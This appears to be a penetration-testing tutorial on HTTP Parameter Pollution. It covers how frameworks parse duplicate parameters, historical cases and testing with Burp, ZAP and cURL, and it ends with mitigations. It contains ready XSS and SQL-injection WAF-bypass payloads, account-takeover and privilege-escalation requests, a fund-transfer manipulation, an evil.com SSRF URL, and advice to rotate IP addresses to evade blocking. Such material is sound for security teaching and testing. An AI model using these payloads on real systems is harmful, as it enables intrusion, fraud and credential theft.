HTTP Parameter Pollution is a web vulnerability that occurs when an attacker injects encoded query string delimiters into existing parameters or adds extra parameters to manipulate application behavior. The core issue stems from the fact that HTTP standards (RFC 3986 and RFC 2396) do not define how web servers should handle multiple HTTP parameters with the same name . Consequently, different web frameworks process duplicate parameters in completely different ways, creating opportunities for exploitation .
Before attempting any exploitation, you must understand how your target framework processes duplicate parameters. The behavior varies significantly across technologies :
| Framework / Server | Parsing Behavior | Example Input: ?color=red&color=blue |
|---|---|---|
| ASP.NET / IIS | All occurrences concatenated with comma | color=red,blue |
| ASP / IIS | All occurrences concatenated with comma | color=red,blue |
| .NET Core / Kestrel | All occurrences concatenated with comma | color=red,blue |
| PHP / Apache | Last occurrence only | color=blue |
| JSP / Apache Tomcat | First occurrence only | color=red |
| JSP / Oracle 10g | First occurrence only | color=red |
| Node.js / Express | First occurrence only | color=red |
| Python / Zope | All occurrences in List data type | color=['red','blue'] |
| IBM HTTP Server | First occurrence only | color=red |
| Perl / Apache | First occurrence only | color=red |
This inconsistency is the foundation of HPP attacks. If a developer assumes only one value will be present but the server behaves differently, security controls can be bypassed .
Client-side HPP occurs when multiple parameters are injected into a URL, and the browser or frontend application processes them incorrectly . The attacker crafts a malicious link that a victim clicks, leading to security bypasses or forced unintended behavior.
Example attack URL:
https://example.com/login?user=admin&role=user&role=admin
If the application fails to properly validate the parameters, it might grant admin privileges instead of user access .
Server-side HPP occurs when an attacker sends multiple identical parameters in a request, causing unexpected behavior on the server. This is particularly dangerous in API endpoints and financial transactions .
Example POST request:
POST /transfer HTTP/1.1
Host: bank.com
Content-Type: application/x-www-form-urlencoded
amount=1000¤cy=USD¤cy=INR
If the server incorrectly handles multiple parameters, it might process the last value (INR) or merge values, resulting in unexpected financial transactions .
This was one of the first documented HPP vulnerabilities. The ModSecurity filter blocked the string select 1,2,3 from table in a URL like /index.aspx?page=select 1,2,3 from table. However, by exploiting parameter concatenation, an attacker could bypass the filter :
Bypass URL:
/index.aspx?page=select 1&page=2,3 from table
The ModSecurity filter checked each parameter individually and did not detect the malicious pattern. However, the application server concatenated the parameters back into the full malicious string: select 1,2,3 from table .
A critical XSS vulnerability affected Apple Cups, the printing system used by many Unix systems. The application validation checkpoint could be bypassed by adding an extra parameter :
Exploit URL:
https://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos=
The validation checkpoint only considered the second occurrence (the empty string), so the first kerberos parameter was not properly sanitized before being used to generate dynamic HTML content. Successful exploitation resulted in JavaScript code execution under the context of the hosting site .
A critical HPP vulnerability in Blogger (the popular blogging platform) allowed malicious users to take ownership of a victim's blog. The flaw resided in the authentication mechanism, where the security check was performed on the first blogID parameter, whereas the actual operation used the second occurrence :
HTTP Request:
POST /add-authors.do HTTP/1.1
[...]
security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=attacker@email.com&ok=Invite
A previous vulnerability in PayPal allowed an attacker to modify transaction details using multiple currency parameters. By injecting multiple values, an attacker could manipulate exchange rates, leading to financial fraud .
Recent research demonstrated that simple injection payloads achieved only a 17.6% bypass rate against WAFs, while sophisticated parameter pollution payloads bypassed 70.6% of tested configurations . The most effective technique exploits ASP.NET's comma-concatenation behavior combined with JavaScript's comma operator.
Payload structure:
/?q=1'&q=alert(1)&q='2
ASP.NET concatenates this into: 1',alert(1),'2. When inserted into a JavaScript context, this becomes syntactically valid JavaScript that executes the alert function .
Before testing for HPP, determine what web framework the target application uses. Methods include:
- Check HTTP response headers for Server, X-Powered-By, or framework-specific headers
- Analyze URL patterns (
.aspxsuggests ASP.NET,.phpsuggests PHP, etc.) - Use Wappalyzer browser extension or similar technology detection tools
- Review error messages that may reveal stack traces or framework information
The most reliable technique for detecting HPP vulnerabilities is manual testing. Automated tools can generate false positives, and in-depth business logic knowledge is necessary .
For each HTTP parameter you want to test, perform these three requests and compare responses :
Step A - Baseline request:
GET /page?parameter=original_value HTTP/1.1
Step B - Tampered single value:
GET /page?parameter=HPP_TEST1 HTTP/1.1
Step C - Polluted request with duplicate:
GET /page?parameter=original_value¶meter=HPP_TEST1 HTTP/1.1
Analyze the responses:
- If response from Step C differs from Step A AND differs from Step B, there is an impedance mismatch that may be exploitable for HPP vulnerabilities
- If the response matches Step A (first parameter used), the framework takes the first occurrence
- If the response matches Step B (last parameter used), the framework takes the last occurrence
- If the response shows concatenated values (e.g.,
original_value,HPP_TEST1), the framework concatenates parameters
For JSON-based APIs, the polluted payload would look like :
POST /search HTTP/1.1
Host: example.com
Content-Type: application/json
{
"search_string": "kittens",
"search_string": "puppies"
}
To test for client-side HPP vulnerabilities, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal .
Testing process:
- Submit a payload like
%26HPP_TESTin a parameter - Look for URL-decoded occurrences in the response:
&HPP_TEST&HPP_TEST
- Pay special attention to responses having HPP vectors within
data,src,hrefattributes, or form actions
When testing against WAF-protected applications, use the following methodology:
Test different parameter splitting patterns :
| Payload Type | Example | Expected Success Rate |
|---|---|---|
| Simple injection | q=';alert(1),' |
~17.6% |
| Pollution with semicolon | q=1'+1;let+asd=window&q=def='al'+'ert' |
~52.9% |
| Pollution with line breaks | q=1'%0aasd=window&q=def="al"+"ert" |
~70.6% |
For ASP.NET targets specifically :
/?q=1'&q=alert(1)&q='2
This leverages ASP.NET's comma concatenation (producing 1',alert(1),'2) combined with JavaScript's comma operator for execution.
For targets that take the last parameter only (PHP, etc.):
/?q=<script>&q=alert(1)</script>
If the WAF only scans the first q parameter, the attack bypasses security filters and executes XSS .
Param Miner Extension for Hidden Parameter Discovery
Param Miner is an essential Burp Suite extension for discovering hidden parameters that may be vulnerable to HPP . It uses a built-in wordlist to guess potential hidden inputs and sends requests with and without each parameter to compare responses .
Installation and setup:
- Go to Extensions > BApp Store
- Search for "Param Miner" and install
- Set a test scope (Target > Site map > right-click > Add to scope)
Using Param Miner to discover parameters :
- In Burp Suite, open Target > Site map
- Select the request you want to test (select multiple if needed)
- Navigate to Extensions > Param Miner > Guess params
- Choose the type of hidden inputs to discover:
- Guess GET parameters
- Guess cookie parameters
- Guess headers
- Guess everything!
- Click OK on the Attack Config dialog
- View results in Extensions > Installed > Param Miner > Output tab
In Burp Suite Professional, discovered hidden inputs also appear as "Secret input" issues in the Dashboard tab .
Burp Suite Professional includes Active Scan capabilities that can test for parameter pollution issues :
Configuration recommendations :
- Enable insertion point optimization
- Use time-based detection for blind vulnerabilities
- Integrate with Burp Collaborator for out-of-band testing
The Active Scan will automatically test injection points including:
- XSS, SQLi, SSTI, SSRF, LFI
- Authentication bypass attempts
- Parameter pollution
- Caching issues
For precise manual HPP testing :
- Intercept a request containing the parameter you want to test
- Duplicate the parameter in the request (either in URL query string for GET or body for POST)
- Modify the values to test different combinations
- Forward the request and analyze the response
Example GET request manipulation: Original:
GET /search?q=product&page=1 HTTP/1.1
Modified for HPP testing:
GET /search?q=product&page=1&q=HPP_TEST HTTP/1.1
Example POST request manipulation: Original:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=12345
Modified for HPP testing:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&role=user&role=admin&password=12345
OWASP ZAP (Zed Attack Proxy) is a free and open-source alternative to Burp Suite that includes HPP detection capabilities.
Steps for HPP testing in ZAP:
- Configure your browser to use ZAP as a proxy (localhost:8080)
- Browse the target application to map endpoints
- Use the Active Scan feature which includes HPP test cases
- Review alerts for parameter pollution findings
For precise, scriptable testing, use cURL commands :
Testing parameter behavior:
# Test with single parameter
curl -s "https://example.com/page?param=value1"
# Test with duplicate parameters
curl -s "https://example.com/page?param=value1¶m=value2"
# Compare responsesTesting with POST data:
curl -s -X POST "https://example.com/api/endpoint" \
-d "param1=value1" \
-d "param1=value2"Testing for WAF bypass with ASP.NET technique:
curl -s "https://example.com/search?q=1'&q=alert(1)&q='2"When testing login or authorization mechanisms :
POST /auth HTTP/1.1
Host: target.com
username=admin&role=user&role=admin
When testing payment or transfer endpoints :
POST /transfer HTTP/1.1
Host: bank.com
amount=100&amount=10000&to=attacker&to=victim
When testing REST APIs :
POST /update-profile HTTP/1.1
Host: api.target.com
email=attacker@evil.com&email=victim@target.com
When testing URL fetch functionality:
GET /fetch?url=http://internal-site.com&url=http://evil.com
When WAF blocks standard SQLi payloads :
GET /search?q=1'&q=UNION SELECT&q=username,password FROM users--
- Privilege escalation - You gain access to higher-level functions or data
- Content injection - Your injected content appears in the response
- Error messages - Unexpected errors may indicate parsing issues
- Behavioral changes - The application behaves differently than with single parameters
- Bypassed validation - Input that was previously blocked is now accepted
For each HPP vulnerability discovered, document:
- The affected endpoint (full URL)
- The vulnerable parameter name
- The framework behavior observed (first, last, concatenation, array)
- Proof-of-concept request/response
- Business impact assessment
- Recommended remediation
HPP testing can produce false positives if the application has legitimate uses for duplicate parameters. Always verify that the behavior difference actually represents a security issue, not intended functionality .
Aggressive HPP testing may trigger rate limiting or WAF blocking. Use appropriate delays between requests and rotate IP addresses if necessary during authorized testing.
Parameters may be URL-encoded by the application. Test with both encoded and unencoded payloads:
&=%26==%3D;=%3B
If you cannot definitively identify the framework, test systematically by injecting multiple values and observing which one the application uses. This empirical approach will reveal the parsing behavior even without knowing the underlying technology .
While this document focuses on exploitation methodology, understanding proper mitigation helps testers identify when fixes are correctly implemented:
-
Sanitize and validate inputs - Allow only expected parameters, reject duplicate parameters in requests
-
Use strong parsing mechanisms - Avoid automatic merging of parameters, ensure the backend processes parameters securely
-
Enforce server-side security measures - Implement whitelisting instead of blacklisting, log and monitor multiple occurrences of the same parameter
-
Use secure frameworks - Secure libraries such as Spring Security or Django's request handling mitigate HPP risks
-
Parameter normalization - Implement cache key normalization that strips irrelevant query parameters
-
Consistent parameter handling - Ensure the entire application stack (WAF, load balancer, application server, framework) handles duplicate parameters uniformly. The validated parameter must be the same as the one used in processing
- OWASP Web Security Testing Guide - Testing for HTTP Parameter Pollution (WSTG-INPV-04)
- Ethiack Research - Bypassing WAFs with JavaScript Injection and Parameter Pollution (August 2025)
- T00ls Security Research - Parameter Pollution for XSS WAF Bypass (2025)
- GitHub - HTTP Parameter Pollution Labs and Techniques
- PortSwigger - Hidden Inputs Discovery with Param Miner
- LobeHub - Web Cache Poisoning Testing Methodology